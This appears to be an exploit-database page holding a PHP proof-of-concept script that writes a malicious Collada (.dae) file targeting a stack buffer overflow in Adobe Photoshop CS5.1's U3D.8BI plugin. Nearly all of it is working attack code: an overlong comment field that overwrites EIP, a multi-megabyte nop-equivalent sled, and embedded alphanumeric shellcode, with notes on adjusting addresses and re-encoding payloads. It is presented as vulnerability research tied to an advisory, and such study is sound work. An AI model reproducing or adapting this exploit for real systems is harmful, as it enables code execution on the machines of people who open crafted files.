[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Adobe Photoshop CS5.1 U3D.8BI Collada Asset Elements Stack Overflow
# Published : 2012-05-11
# Author :
# Previous Title : ispVM System XCF File Handling Overflow
# Next Title : Blade API Monitor 3.6.9.2 Unicode Stack Buffer Overflow


<?php
// ~ Adobe Photoshop CS5.1 U3D.8bi Library Collada Asset Elements 
// Unicode Conversion Stack Based Buffer Overflow poc (*.dae)
// (32bit/SEH) ~
//
// unicode overflow occurs when overlong asset elements are processed
// one could be able to return inside an ASCII memory region
// with an ultra large nop through assigning eip to ex. Photoshop.00630041.
// the shellcode should be alphabetic (high bytes order filtering and various issues)
// 
// Usage: php 9sg_dae.php 
// a file photoshop_sample.dae is created
// start Photoshop then open it through the File menu
// a message box pops, HEY!
//
// ~ rgod ~ - Advisory Reference: http://retrogod.altervista.org/9sg_photoshock_adv.htm

/*
you shuld change addresses according to your system
then reencode with alpha2 (use eax alignment)

//say "Hey" MsgBox Shellcode
$code ="x31xc0x31xdbx31xc9x31xd2".
       "xebx2ax59".
       "xbbxcax1dxe4x77". //LoadLibraryA(), kernel32.dll
       "x51xffxd3xebx2fx59x51x50".
       "xbbx7ax3dxe6x77". //GetProcAddress(), kernel32.dll
       "xffxd3xeb".
       "x34x59x31xd2x52x51x51x52".
       "xffxd0x31xd2x50".
       "xb8xf9x68xe6x77". //ExitProcess(), kernel32.dll
       "xffxd0xe8xd1xffxff".
       "xffx75x73x65x72x33x32x2e".
       "x64x6cx6cx00xe8xccxffxff".
       "xffx4dx65x73x73x61x67x65".
       "x42x6fx78x41x00xe8xc7xff".
       "xffxffx48x65x79x00";
*/


$scode = "x2dx7dx25x5bx7f". //sub preamble, align eax for alpha code,clean
         "x2dx79x22x20x6f". //sub, align ... the gap is repaired through the inc eax trick
         "PYIIIIIIIIIIIIIIII7QZjA".
         "XP0A0AkAAQ2AB2BB0BBABXP".
         "8ABuJIvQYPp1IKp1YYtqJrZ".
         "K4jpYmk8JuMM4PwpQKOyCZK".
         "vORycaRpMksJUmkVqgyoKcz".
         "KvTRyTqZrRr0QrqPRkOn0VQ".
         "N20PnXzY0hZFpwYojpM8N1k".
         "OIokOQebSauPrP3trDnPdrL".
         "PlUPKXxLKOKOIorm1u2SRS3".
         "QQw0esrbOd8raC0KXKwkOYo".
         "KO3xSUt9uPA";
$eip="Ac"; //Photosho.00630041, return to our payload
$payload = str_repeat("x40",4096000);//inc eax, needed , also nop equivalent, don't touch
$payload.=$scode;
$payload.= str_repeat("x40",1024000);

$_xml ='<?xml version="1.0"?>'.
       '<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">'.
       '    <asset>'.
       '    <contributor>'.
       '    <author>rgod</author>'.
       '    <authoring_tool>Maya 8.0 | ColladaMaya v3.02 | FCollada v3.2</authoring_tool>'.
       '    <comments>Collada Maya Export Options: bakeTransforms=0;exportPolygonMeshes=1;bakeLighting=0;isSampling=0;'.
       '      curveConstrainSampling=0;exportCameraAsLookat=0;'.
       '      exportLights=1;exportCameras=1;exportJointsAndSkin=1;'.
       '      exportAnimations=1;exportTriangles=1;exportInvisibleNodes=0;'.
       '      exportNormals=1;exportTexCoords=1;exportVertexColors=1;exportTangents=0;'.
       '      exportTexTangents=0;exportConstraints=1;exportPhysics=0;exportXRefs=1;'.
       '      dereferenceXRefs=0;cameraXFov=0;'.
       str_repeat("A",170).
       'cameraYFov=1;'.
       str_repeat("a",100).
       str_repeat("b",100).
       str_repeat("c",100).
       str_repeat("d",100).
       str_repeat("e",100).
       str_repeat("f",100).
       str_repeat("g",100).
       str_repeat("h",100).
       str_repeat("i",100).
       str_repeat("j",100).
       str_repeat("k",100).
       str_repeat("l",100).
       str_repeat("m",100).
        str_repeat("n",100).
"aaaabbbA".
$eip.
"ccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy". 
       '    </comments>'.
       '<aaaa>'.
       $payload.
       '</aaaa>'.
       '    <copyright>'.
       '      Copyright 2012 rgod Computer Entertainment Inc.'.
       '    </copyright>'.
       '    <source_data>file:///C:/vs2005/sample_data/untitled</source_data>'.
       '    </contributor>'.
       '    <created>2008-04-24T22:29:59Z</created>'.
       '    <modified>2099-02-21T22:52:44Z</modified>'.
       '    <unit meter="0.01" name="centimeter"/>'.
       '    <up_axis>Y_UP</up_axis>'.
       '  </asset>'.
       '</COLLADA>';
file_put_contents("photoshop_sample.dae",$_xml);
echo "done";
?>